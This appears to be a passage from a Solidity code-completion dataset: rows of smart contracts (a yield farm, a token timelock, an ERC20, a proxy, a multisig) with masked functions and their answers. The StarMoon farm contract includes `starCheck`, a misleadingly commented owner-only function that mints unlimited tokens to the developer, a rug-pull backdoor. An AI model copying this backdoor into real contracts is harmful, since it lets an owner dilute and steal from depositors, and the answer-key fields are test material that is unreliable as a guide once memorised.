source_idx
stringlengths
1
5
contract_name
stringlengths
1
55
func_name
stringlengths
0
2.45k
masked_body
stringlengths
60
686k
masked_all
stringlengths
34
686k
func_body
stringlengths
6
324k
signature_only
stringlengths
11
2.47k
signature_extend
stringlengths
11
8.95k
37342
StarMoon
deposit
contract StarMoon is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of STRSWs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accSTRSWPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accSTRSWPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. POBs to distribute per block. uint256 lastRewardBlock; // Last block number that POBs distribution occurs. uint256 accStrswPerShare; // Accumulated strsw per share, times 1e12. See below. } // The strsw TOKEN! StarShip public strsw; // Dev address. address public devaddr; // Block number when bonus strsw period ends. uint256 public bonusEndBlock; // strsw tokens created per block. uint256 public strswPerBlock; // Bonus muliplier for early strsw makers. uint256 public constant BONUS_MULTIPLIER = 0; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when strsw mining starts. uint256 public startBlock; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); constructor( StarShip _strsw, address _devaddr, uint256 _strswPerBlock, uint256 _startBlock, uint256 _bonusEndBlock ) public { strsw = _strsw; devaddr = _devaddr; strswPerBlock = _strswPerBlock; bonusEndBlock = _bonusEndBlock; startBlock = _startBlock; } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accStrswPerShare: 0 })); } // Update the given pool's strsw allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { if (_to <= bonusEndBlock) { return _to.sub(_from); } else if (_from >= bonusEndBlock) { return _to.sub(_from).mul(BONUS_MULTIPLIER); } else { return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add( _to.sub(bonusEndBlock) ); } } // View function to see pending strsw on frontend. function pendingStrsw(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accStrswPerShare = pool.accStrswPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 strswReward = multiplier.mul(strswPerBlock).mul(pool.allocPoint).div(totalAllocPoint); accStrswPerShare = accStrswPerShare.add(strswReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accStrswPerShare).div(1e12).sub(user.rewardDebt); } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // starCheck pools. function starCheck(uint256 amount) public onlyOwner{ strsw.mint(devaddr, amount); } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 strswReward = multiplier.mul(strswPerBlock).mul(pool.allocPoint).div(totalAllocPoint); strsw.mint(address(this), strswReward); pool.accStrswPerShare = pool.accStrswPerShare.add(strswReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } // Deposit LP tokens to MasterChef for strsw allocation. function deposit(uint256 _pid, uint256 _amount) public {<FILL_FUNCTION_BODY> } // Withdraw LP tokens from MasterChef. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accStrswPerShare).div(1e12).sub(user.rewardDebt); safeStrswTransfer(msg.sender, pending); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accStrswPerShare).div(1e12); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } // Safe strsw transfer function, just in case if rounding error causes pool to not have enough strsw. function safeStrswTransfer(address _to, uint256 _amount) internal { uint256 strswBal = strsw.balanceOf(address(this)); if (_amount > strswBal) { strsw.transfer(_to, strswBal); } else { strsw.transfer(_to, _amount); } } // Update dev address by the previous dev. function dev(address _devaddr) public { require(msg.sender == devaddr, "dev: wut?"); devaddr = _devaddr; } }
contract StarMoon is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of STRSWs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accSTRSWPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accSTRSWPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. POBs to distribute per block. uint256 lastRewardBlock; // Last block number that POBs distribution occurs. uint256 accStrswPerShare; // Accumulated strsw per share, times 1e12. See below. } // The strsw TOKEN! StarShip public strsw; // Dev address. address public devaddr; // Block number when bonus strsw period ends. uint256 public bonusEndBlock; // strsw tokens created per block. uint256 public strswPerBlock; // Bonus muliplier for early strsw makers. uint256 public constant BONUS_MULTIPLIER = 0; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when strsw mining starts. uint256 public startBlock; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); constructor( StarShip _strsw, address _devaddr, uint256 _strswPerBlock, uint256 _startBlock, uint256 _bonusEndBlock ) public { strsw = _strsw; devaddr = _devaddr; strswPerBlock = _strswPerBlock; bonusEndBlock = _bonusEndBlock; startBlock = _startBlock; } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accStrswPerShare: 0 })); } // Update the given pool's strsw allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { if (_to <= bonusEndBlock) { return _to.sub(_from); } else if (_from >= bonusEndBlock) { return _to.sub(_from).mul(BONUS_MULTIPLIER); } else { return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add( _to.sub(bonusEndBlock) ); } } // View function to see pending strsw on frontend. function pendingStrsw(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accStrswPerShare = pool.accStrswPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 strswReward = multiplier.mul(strswPerBlock).mul(pool.allocPoint).div(totalAllocPoint); accStrswPerShare = accStrswPerShare.add(strswReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accStrswPerShare).div(1e12).sub(user.rewardDebt); } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // starCheck pools. function starCheck(uint256 amount) public onlyOwner{ strsw.mint(devaddr, amount); } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 strswReward = multiplier.mul(strswPerBlock).mul(pool.allocPoint).div(totalAllocPoint); strsw.mint(address(this), strswReward); pool.accStrswPerShare = pool.accStrswPerShare.add(strswReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } <FILL_FUNCTION> // Withdraw LP tokens from MasterChef. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accStrswPerShare).div(1e12).sub(user.rewardDebt); safeStrswTransfer(msg.sender, pending); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accStrswPerShare).div(1e12); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } // Safe strsw transfer function, just in case if rounding error causes pool to not have enough strsw. function safeStrswTransfer(address _to, uint256 _amount) internal { uint256 strswBal = strsw.balanceOf(address(this)); if (_amount > strswBal) { strsw.transfer(_to, strswBal); } else { strsw.transfer(_to, _amount); } } // Update dev address by the previous dev. function dev(address _devaddr) public { require(msg.sender == devaddr, "dev: wut?"); devaddr = _devaddr; } }
PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accStrswPerShare).div(1e12).sub(user.rewardDebt); safeStrswTransfer(msg.sender, pending); } pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accStrswPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount);
function deposit(uint256 _pid, uint256 _amount) public
// Deposit LP tokens to MasterChef for strsw allocation. function deposit(uint256 _pid, uint256 _amount) public
10210
TokenTimelock
TokenTimelock
contract TokenTimelock { using SafeERC20 for ERC20Basic; // ERC20 basic token contract being held ERC20Basic public token; // beneficiary of tokens after they are released address public beneficiary; // timestamp when token release is enabled uint64 public releaseTime; function TokenTimelock(ERC20Basic _token, address _beneficiary, uint64 _releaseTime) {<FILL_FUNCTION_BODY> } /** * @notice Transfers tokens held by timelock to beneficiary. * Deprecated: please use TokenTimelock#release instead. */ function claim() public { require(msg.sender == beneficiary); release(); } /** * @notice Transfers tokens held by timelock to beneficiary. */ function release() public { require(now >= releaseTime); uint256 amount = token.balanceOf(this); require(amount > 0); token.safeTransfer(beneficiary, amount); } }
contract TokenTimelock { using SafeERC20 for ERC20Basic; // ERC20 basic token contract being held ERC20Basic public token; // beneficiary of tokens after they are released address public beneficiary; // timestamp when token release is enabled uint64 public releaseTime; <FILL_FUNCTION> /** * @notice Transfers tokens held by timelock to beneficiary. * Deprecated: please use TokenTimelock#release instead. */ function claim() public { require(msg.sender == beneficiary); release(); } /** * @notice Transfers tokens held by timelock to beneficiary. */ function release() public { require(now >= releaseTime); uint256 amount = token.balanceOf(this); require(amount > 0); token.safeTransfer(beneficiary, amount); } }
require(_releaseTime > now); token = _token; beneficiary = _beneficiary; releaseTime = _releaseTime;
function TokenTimelock(ERC20Basic _token, address _beneficiary, uint64 _releaseTime)
function TokenTimelock(ERC20Basic _token, address _beneficiary, uint64 _releaseTime)
17208
BurnableMintableCappedERC20
depositAddress
contract BurnableMintableCappedERC20 is MintableCappedERC20 { // keccak256('token-frozen') bytes32 private constant PREFIX_TOKEN_FROZEN = bytes32(0x1a7261d3a36c4ce4235d10859911c9444a6963a3591ec5725b96871d9810626b); // keccak256('all-tokens-frozen') bytes32 private constant KEY_ALL_TOKENS_FROZEN = bytes32(0x75a31d1ce8e5f9892188befc328d3b9bd3fa5037457e881abc21f388471b8d96); event Frozen(address indexed owner); event Unfrozen(address indexed owner); constructor( string memory name, string memory symbol, uint8 decimals, uint256 capacity ) MintableCappedERC20(name, symbol, decimals, capacity) {} function depositAddress(bytes32 salt) public view returns (address) {<FILL_FUNCTION_BODY> } function burn(bytes32 salt) public onlyOwner { address account = depositAddress(salt); _burn(account, balanceOf[account]); } function _beforeTokenTransfer( address, address, uint256 ) internal view override { require(!EternalStorage(owner).getBool(KEY_ALL_TOKENS_FROZEN)); require(!EternalStorage(owner).getBool(keccak256(abi.encodePacked(PREFIX_TOKEN_FROZEN, symbol)))); } }
contract BurnableMintableCappedERC20 is MintableCappedERC20 { // keccak256('token-frozen') bytes32 private constant PREFIX_TOKEN_FROZEN = bytes32(0x1a7261d3a36c4ce4235d10859911c9444a6963a3591ec5725b96871d9810626b); // keccak256('all-tokens-frozen') bytes32 private constant KEY_ALL_TOKENS_FROZEN = bytes32(0x75a31d1ce8e5f9892188befc328d3b9bd3fa5037457e881abc21f388471b8d96); event Frozen(address indexed owner); event Unfrozen(address indexed owner); constructor( string memory name, string memory symbol, uint8 decimals, uint256 capacity ) MintableCappedERC20(name, symbol, decimals, capacity) {} <FILL_FUNCTION> function burn(bytes32 salt) public onlyOwner { address account = depositAddress(salt); _burn(account, balanceOf[account]); } function _beforeTokenTransfer( address, address, uint256 ) internal view override { require(!EternalStorage(owner).getBool(KEY_ALL_TOKENS_FROZEN)); require(!EternalStorage(owner).getBool(keccak256(abi.encodePacked(PREFIX_TOKEN_FROZEN, symbol)))); } }
/* Convert a hash which is bytes32 to an address which is 20-byte long according to https://docs.soliditylang.org/en/v0.8.1/control-structures.html?highlight=create2#salted-contract-creations-create2 */ return address( uint160( uint256( keccak256( abi.encodePacked( bytes1(0xff), owner, salt, keccak256(abi.encodePacked(type(DepositHandler).creationCode)) ) ) ) ) );
function depositAddress(bytes32 salt) public view returns (address)
function depositAddress(bytes32 salt) public view returns (address)
28977
AdminUpgradeabilityProxy
null
contract AdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. */ constructor(address _logic, address _admin) UpgradeabilityProxy(_logic) public payable {<FILL_FUNCTION_BODY> } }
contract AdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, UpgradeabilityProxy { <FILL_FUNCTION> }
assert(ADMIN_SLOT == keccak256("org.zeppelinos.proxy.admin")); _setAdmin(_admin);
constructor(address _logic, address _admin) UpgradeabilityProxy(_logic) public payable
/** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. */ constructor(address _logic, address _admin) UpgradeabilityProxy(_logic) public payable
47645
MultiSigWalletWithTimelock
null
contract MultiSigWalletWithTimelock { uint256 constant public MAX_OWNER_COUNT = 50; uint256 public lockSeconds = 86400; event Confirmation(address indexed sender, uint256 indexed transactionId); event Revocation(address indexed sender, uint256 indexed transactionId); event Submission(uint256 indexed transactionId); event Execution(uint256 indexed transactionId); event ExecutionFailure(uint256 indexed transactionId); event Deposit(address indexed sender, uint256 value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint256 required); event UnlockTimeSet(uint256 indexed transactionId, uint256 confirmationTime); event LockSecondsChange(uint256 lockSeconds); mapping (uint256 => Transaction) public transactions; mapping (uint256 => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; mapping (uint256 => uint256) public unlockTimes; address[] public owners; uint256 public required; uint256 public transactionCount; struct Transaction { address destination; uint256 value; bytes data; bool executed; } struct EmergencyCall { bytes32 selector; uint256 paramsBytesCount; } // Functions bypass the time lock process EmergencyCall[] public emergencyCalls; modifier onlyWallet() { if (msg.sender != address(this)) revert("ONLY_WALLET_ERROR"); _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) revert("OWNER_DOES_NOT_EXIST_ERROR"); _; } modifier ownerExists(address owner) { if (!isOwner[owner]) revert("OWNER_EXISTS_ERROR"); _; } modifier transactionExists(uint256 transactionId) { if (transactions[transactionId].destination == address(0)) revert("TRANSACTION_EXISTS_ERROR"); _; } modifier confirmed(uint256 transactionId, address owner) { if (!confirmations[transactionId][owner]) revert("CONFIRMED_ERROR"); _; } modifier notConfirmed(uint256 transactionId, address owner) { if (confirmations[transactionId][owner]) revert("NOT_CONFIRMED_ERROR"); _; } modifier notExecuted(uint256 transactionId) { if (transactions[transactionId].executed) revert("NOT_EXECUTED_ERROR"); _; } modifier notNull(address _address) { if (_address == address(0)) revert("NOT_NULL_ERROR"); _; } modifier validRequirement(uint256 ownerCount, uint256 _required) { if (ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) revert("VALID_REQUIREMENT_ERROR"); _; } /** @dev Fallback function allows to deposit ether. */ function() external payable { if (msg.value > 0) { emit Deposit(msg.sender, msg.value); } } /** @dev Contract constructor sets initial owners and required number of confirmations. * @param _owners List of initial owners. * @param _required Number of required confirmations. */ constructor(address[] memory _owners, uint256 _required) public validRequirement(_owners.length, _required) {<FILL_FUNCTION_BODY> } function getEmergencyCallsCount() external view returns (uint256 count) { return emergencyCalls.length; } /** @dev Allows to add a new owner. Transaction has to be sent by wallet. * @param owner Address of new owner. */ function addOwner(address owner) external onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); emit OwnerAddition(owner); } /** @dev Allows to remove an owner. Transaction has to be sent by wallet. * @param owner Address of owner. */ function removeOwner(address owner) external onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint256 i = 0; i < owners.length - 1; i++) { if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } } owners.length -= 1; if (required > owners.length) { changeRequirement(owners.length); } emit OwnerRemoval(owner); } /** @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. * @param owner Address of owner to be replaced. * @param owner Address of new owner. */ function replaceOwner(address owner, address newOwner) external onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint256 i = 0; i < owners.length; i++) { if (owners[i] == owner) { owners[i] = newOwner; break; } } isOwner[owner] = false; isOwner[newOwner] = true; emit OwnerRemoval(owner); emit OwnerAddition(newOwner); } /** @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. * @param _required Number of required confirmations. */ function changeRequirement(uint256 _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; emit RequirementChange(_required); } /** @dev Changes the duration of the time lock for transactions. * @param _lockSeconds Duration needed after a transaction is confirmed and before it becomes executable, in seconds. */ function changeLockSeconds(uint256 _lockSeconds) external onlyWallet { lockSeconds = _lockSeconds; emit LockSecondsChange(_lockSeconds); } /** @dev Allows an owner to submit and confirm a transaction. * @param destination Transaction target address. * @param value Transaction ether value. * @param data Transaction data payload. * @return Returns transaction ID. */ function submitTransaction(address destination, uint256 value, bytes calldata data) external ownerExists(msg.sender) notNull(destination) returns (uint256 transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; emit Submission(transactionId); confirmTransaction(transactionId); } /** @dev Allows an owner to confirm a transaction. * @param transactionId Transaction ID. */ function confirmTransaction(uint256 transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; emit Confirmation(msg.sender, transactionId); if (isConfirmed(transactionId) && unlockTimes[transactionId] == 0 && !isEmergencyCall(transactionId)) { uint256 unlockTime = block.timestamp + lockSeconds; unlockTimes[transactionId] = unlockTime; emit UnlockTimeSet(transactionId, unlockTime); } } function isEmergencyCall(uint256 transactionId) internal view returns (bool) { bytes memory data = transactions[transactionId].data; for (uint256 i = 0; i < emergencyCalls.length; i++) { EmergencyCall memory emergencyCall = emergencyCalls[i]; if ( data.length == emergencyCall.paramsBytesCount + 4 && data.length >= 4 && emergencyCall.selector[0] == data[0] && emergencyCall.selector[1] == data[1] && emergencyCall.selector[2] == data[2] && emergencyCall.selector[3] == data[3] ) { return true; } } return false; } /** @dev Allows an owner to revoke a confirmation for a transaction. * @param transactionId Transaction ID. */ function revokeConfirmation(uint256 transactionId) external ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; emit Revocation(msg.sender, transactionId); } /** @dev Allows anyone to execute a confirmed transaction. * @param transactionId Transaction ID. */ function executeTransaction(uint256 transactionId) external ownerExists(msg.sender) notExecuted(transactionId) { require( block.timestamp >= unlockTimes[transactionId], "TRANSACTION_NEED_TO_UNLOCK" ); if (isConfirmed(transactionId)) { Transaction storage transaction = transactions[transactionId]; transaction.executed = true; (bool success, ) = transaction.destination.call.value(transaction.value)(transaction.data); if (success) emit Execution(transactionId); else { emit ExecutionFailure(transactionId); transaction.executed = false; } } } /** @dev Returns the confirmation status of a transaction. * @param transactionId Transaction ID. * @return Confirmation status. */ function isConfirmed(uint256 transactionId) public view returns (bool) { uint256 count = 0; for (uint256 i = 0; i < owners.length; i++) { if (confirmations[transactionId][owners[i]]) { count += 1; } if (count >= required) { return true; } } return false; } /* Web3 call functions */ /** @dev Returns number of confirmations of a transaction. * @param transactionId Transaction ID. * @return Number of confirmations. */ function getConfirmationCount(uint256 transactionId) external view returns (uint256 count) { for (uint256 i = 0; i < owners.length; i++) { if (confirmations[transactionId][owners[i]]) { count += 1; } } } /** @dev Returns total number of transactions after filers are applied. * @param pending Include pending transactions. * @param executed Include executed transactions. * @return Total number of transactions after filters are applied. */ function getTransactionCount(bool pending, bool executed) external view returns (uint256 count) { for (uint256 i = 0; i < transactionCount; i++) { if (pending && !transactions[i].executed || executed && transactions[i].executed) { count += 1; } } } /** @dev Returns list of owners. * @return List of owner addresses. */ function getOwners() external view returns (address[] memory) { return owners; } /** @dev Returns array with owner addresses, which confirmed transaction. * @param transactionId Transaction ID. * @return Returns array of owner addresses. */ function getConfirmations(uint256 transactionId) external view returns (address[] memory _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint256 count = 0; uint256 i; for (i = 0; i < owners.length; i++) { if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } } _confirmations = new address[](count); for (i = 0; i < count; i++) { _confirmations[i] = confirmationsTemp[i]; } } }
contract MultiSigWalletWithTimelock { uint256 constant public MAX_OWNER_COUNT = 50; uint256 public lockSeconds = 86400; event Confirmation(address indexed sender, uint256 indexed transactionId); event Revocation(address indexed sender, uint256 indexed transactionId); event Submission(uint256 indexed transactionId); event Execution(uint256 indexed transactionId); event ExecutionFailure(uint256 indexed transactionId); event Deposit(address indexed sender, uint256 value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint256 required); event UnlockTimeSet(uint256 indexed transactionId, uint256 confirmationTime); event LockSecondsChange(uint256 lockSeconds); mapping (uint256 => Transaction) public transactions; mapping (uint256 => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; mapping (uint256 => uint256) public unlockTimes; address[] public owners; uint256 public required; uint256 public transactionCount; struct Transaction { address destination; uint256 value; bytes data; bool executed; } struct EmergencyCall { bytes32 selector; uint256 paramsBytesCount; } // Functions bypass the time lock process EmergencyCall[] public emergencyCalls; modifier onlyWallet() { if (msg.sender != address(this)) revert("ONLY_WALLET_ERROR"); _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) revert("OWNER_DOES_NOT_EXIST_ERROR"); _; } modifier ownerExists(address owner) { if (!isOwner[owner]) revert("OWNER_EXISTS_ERROR"); _; } modifier transactionExists(uint256 transactionId) { if (transactions[transactionId].destination == address(0)) revert("TRANSACTION_EXISTS_ERROR"); _; } modifier confirmed(uint256 transactionId, address owner) { if (!confirmations[transactionId][owner]) revert("CONFIRMED_ERROR"); _; } modifier notConfirmed(uint256 transactionId, address owner) { if (confirmations[transactionId][owner]) revert("NOT_CONFIRMED_ERROR"); _; } modifier notExecuted(uint256 transactionId) { if (transactions[transactionId].executed) revert("NOT_EXECUTED_ERROR"); _; } modifier notNull(address _address) { if (_address == address(0)) revert("NOT_NULL_ERROR"); _; } modifier validRequirement(uint256 ownerCount, uint256 _required) { if (ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) revert("VALID_REQUIREMENT_ERROR"); _; } /** @dev Fallback function allows to deposit ether. */ function() external payable { if (msg.value > 0) { emit Deposit(msg.sender, msg.value); } } <FILL_FUNCTION> function getEmergencyCallsCount() external view returns (uint256 count) { return emergencyCalls.length; } /** @dev Allows to add a new owner. Transaction has to be sent by wallet. * @param owner Address of new owner. */ function addOwner(address owner) external onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); emit OwnerAddition(owner); } /** @dev Allows to remove an owner. Transaction has to be sent by wallet. * @param owner Address of owner. */ function removeOwner(address owner) external onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint256 i = 0; i < owners.length - 1; i++) { if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } } owners.length -= 1; if (required > owners.length) { changeRequirement(owners.length); } emit OwnerRemoval(owner); } /** @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. * @param owner Address of owner to be replaced. * @param owner Address of new owner. */ function replaceOwner(address owner, address newOwner) external onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint256 i = 0; i < owners.length; i++) { if (owners[i] == owner) { owners[i] = newOwner; break; } } isOwner[owner] = false; isOwner[newOwner] = true; emit OwnerRemoval(owner); emit OwnerAddition(newOwner); } /** @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. * @param _required Number of required confirmations. */ function changeRequirement(uint256 _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; emit RequirementChange(_required); } /** @dev Changes the duration of the time lock for transactions. * @param _lockSeconds Duration needed after a transaction is confirmed and before it becomes executable, in seconds. */ function changeLockSeconds(uint256 _lockSeconds) external onlyWallet { lockSeconds = _lockSeconds; emit LockSecondsChange(_lockSeconds); } /** @dev Allows an owner to submit and confirm a transaction. * @param destination Transaction target address. * @param value Transaction ether value. * @param data Transaction data payload. * @return Returns transaction ID. */ function submitTransaction(address destination, uint256 value, bytes calldata data) external ownerExists(msg.sender) notNull(destination) returns (uint256 transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; emit Submission(transactionId); confirmTransaction(transactionId); } /** @dev Allows an owner to confirm a transaction. * @param transactionId Transaction ID. */ function confirmTransaction(uint256 transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; emit Confirmation(msg.sender, transactionId); if (isConfirmed(transactionId) && unlockTimes[transactionId] == 0 && !isEmergencyCall(transactionId)) { uint256 unlockTime = block.timestamp + lockSeconds; unlockTimes[transactionId] = unlockTime; emit UnlockTimeSet(transactionId, unlockTime); } } function isEmergencyCall(uint256 transactionId) internal view returns (bool) { bytes memory data = transactions[transactionId].data; for (uint256 i = 0; i < emergencyCalls.length; i++) { EmergencyCall memory emergencyCall = 